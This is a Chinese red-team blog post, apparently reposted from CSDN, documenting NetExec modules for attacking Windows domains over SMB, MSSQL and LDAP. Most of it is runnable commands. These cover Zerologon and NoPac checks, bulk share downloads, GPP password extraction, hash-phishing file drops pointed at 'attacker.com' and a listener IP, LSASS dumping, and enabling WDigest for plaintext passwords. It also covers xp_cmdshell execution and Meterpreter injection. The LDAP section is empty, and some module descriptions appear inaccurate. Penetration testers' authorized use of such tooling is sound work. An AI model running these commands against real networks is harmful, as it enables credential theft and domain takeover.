Sublarge

// 红队渗透 · 2026-02-07

NetExec全模块（-M modules）使用手册

NetExec（nxc）是一款针对Windows域环境的内网渗透测试工具，支持SMB、LDAP、MSSQL等协议。它提供模块化功能，包括漏洞检测（如永恒之蓝、Zerologon）、信息收集（共享爬取、凭证提取）和后渗透操作（LSASS转储、权限提升）。工具支持高低权限模块，可通过命令行快速执行批量扫描和漏洞利用。典型工作流包括模块查询、参数配置和多模块组合使用，大幅提升内网渗透效率。

网络安全渗透测试

NetExec（简称 nxc，前身为 CrackMapExec）是一款功能强大的内网渗透测试与安全审计工具，主要用于针对 Windows 环境（Active Directory 域）进行服务枚举、凭证测试、漏洞利用、后渗透等操作。它支持多种协议，包括 SMB、LDAP、MSSQL、WinRM、SSH 等，其中 SMB、LDAP 和 MSSQL 是最常用的三大协议。

基本使用方式

列出某个协议支持的所有模块：

nxc smb -L          # 查看 SMB 协议的所有模块
nxc mssql -L        # 查看 MSSQL 协议的所有模块
nxc ldap -L         # 查看 LDAP 协议的所有模块
bash3 行

在这里插入图片描述

查看某个模块的具体选项（非常重要！）：

nxc smb -M spider_plus --options
nxc ldap -M laps --options
nxc mssql -M enum_priv --options
bash3 行

运行模块的基本格式：

nxc <协议> <目标IP/网段/文件> -u 用户名 -p 密码 -M 模块名 -o 选项=值
bash1 行

或者使用哈希登录（NTLM hash）：

nxc smb 192.168.1.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' -M lsassy
bash1 行

可以同时运行多个模块（新版本支持）：

nxc smb dc01.domain.local -u user -p pass -M coerce_plus -M spider_plus -M zerologon
bash1 行

无凭证空跑（guest/null session）示例：

nxc smb 10.10.10.0/24 -u '' -p '' --shares
bash1 行

下面分别介绍 smb、mssql、ldap 三大协议中最常用的模块及其典型使。

SMB 协议模块详解与使用示例

SMB 模块分为低权限（普通域用户即可）和高权限（通常需要本地/域管理员）两大类。

低权限模块（Low Privilege Modules）常用示例

  • 枚举与漏洞检查类

    # 检查永恒之蓝（MS17-010）
nxc smb 192.168.1.10 -M ms17-010

# 检查 SMBGhost (CVE-2020-0796)
nxc smb 10.10.10.10 -M smbghost

# 检查 Zerologon (CVE-2020-1472)
nxc smb dc01 -M zerologon

# 检查 PrintNightmare
nxc smb printserver -M printnightmare

# 检查 NoPac (CVE-2021-42278 + 42287)
nxc smb dc01 -M nopac

# 强制认证漏洞检查（coerce家族）
nxc smb dc01 -M coerce_plus -o LISTENER=192.168.1.100
    bash17 行

  • 信息收集与凭证提取类

    # 递归爬取所有可访问共享并保存元数据（推荐）
nxc smb fileserver -u user -p pass -M spider_plus -o OUTPUT_FOLDER=./shares OUTPUT_FILE=metadata.json

# 更激进：递归下载所有文件（小心使用）
nxc smb fileserver -M spider_plus -o DOWNLOAD_FLAG=TRUE EXCLUDE_FILTER="C$,IPC$,ADMIN$,NETLOGON,SYSVOL"

# 提取 GPP 中的明文密码（旧域环境常见）
nxc smb dc01 -M gpp_password

# 查找自动登录凭证（GPP autologin）
nxc smb dc01 -M gpp_autologin
    bash11 行

  • 文件投放钓鱼类

    # 在所有可写共享投放 .scf 文件钓 hash
nxc smb fileserver -M scuffy -o SERVER=192.168.1.100

# 投放 .url / .lnk 快捷方式钓鱼
nxc smb fileserver -M slinky -o SERVER=attacker.com
    bash5 行

高权限模块（High Privilege Modules）常用示例

  • 凭证转储类

    # lsassy 方式转储 LSASS（推荐，稳定）
nxc smb dc01 -u admin -p pass -M lsassy

# nanodump + pypykatz 解析
nxc smb target -M nanodump

# procdump + pypykatz
nxc smb target -M procdump
    bash8 行

  • 其他高价值模块

    # 转储 BitLocker 状态
nxc smb target -M bitlocker

# 从 Veeam 数据库提取凭证
nxc smb backupserver -M veeam

# 检查并启用 WDigest（老系统可明文抓密码）
nxc smb target -M wdigest -o ACTION=create

# 提取 Wi-Fi 密钥
nxc smb laptop01 -M wifi
    bash11 行

MSSQL 协议模块详解与使用示例

低权限模块常用

# 枚举可被模拟（impersonate）的用户
nxc mssql sqlserver -u sa -p 'Password123' -M enum_impersonate

# 检查并利用权限提升路径
nxc mssql sql01 -M mssql_priv

# 通过链接服务器执行命令
nxc mssql sql01 -M link_xpcmd -o "CMD=whoami"

# 强制认证（配合 relay）
nxc mssql sql02 -M mssql_coerce -o LISTENER=attacker-ip
bash11 行

高权限模块

与 SMB 部分高权模块重叠（如 nanodump、met_inject、web_delivery 等），常用于拿下 SQL 服务后横移。

LDAP 协议模块详解与使用示例

LDAP 模块几乎全部为低权限，非常适合域情报收集。

常用示例：

小结与建议

NetExec 的核心优势在于模块化和批量能力。推荐的日常工作流：

  1. 先用 nxc <协议> -L 熟悉模块列表
  2. 对每个模块运行 -M 模块名 --options 看参数
  3. 常用组合：spider_plus + coerce_plus + lsassy + zerologon/nopac
  4. 大规模扫描：nxc smb targets.txt -u user -p pass -M spider_plus ...

熟练掌握这些模块后，内网从信息收集到提权横移的效率会大幅提升。

完整模块使用手册

命令来源：nxc --list-modules 输出内容中文翻译

smb

mssql

LOW PRIVILEGE MODULES（低权限模块）
[*] enum_impersonate 枚举具有模拟权限的用户
[*] enum_logins 枚举 SQL Server 登录账户
[*] exec_on_link 在 SQL Server 链接服务器上执行命令
[*] link_enable_xp 在链接 SQL 服务器上启用或禁用 xp_cmdshell
[*] link_xpcmd 在链接 SQL 服务器上运行 xp_cmdshell 命令
[*] mssql_coerce 在目标 MSSQL 服务器上执行任意 SQL 命令
[*] mssql_priv 枚举并利用 MSSQL 权限

HIGH PRIVILEGE MODULES（高权限模块，需要管理员权限）
[*] empire_exec 使用 Empire 的 RESTful API 为指定监听器生成启动器并执行它
[*] enum_links 枚举链接 SQL 服务器及其登录配置
[*] met_inject 下载 Meterpreter stager 并注入内存
[*] nanodump 使用 nanodump 获取 LSASS 转储并用 pypykatz 解析结果
[*] test_connection Ping 主机
[*] web_delivery 使用 exploit/multi/script/web_delivery 模块启动 Metasploit Payload
text16 行

ldap

原文 https://blog.csdn.net/2301_79518550/article/details/157845074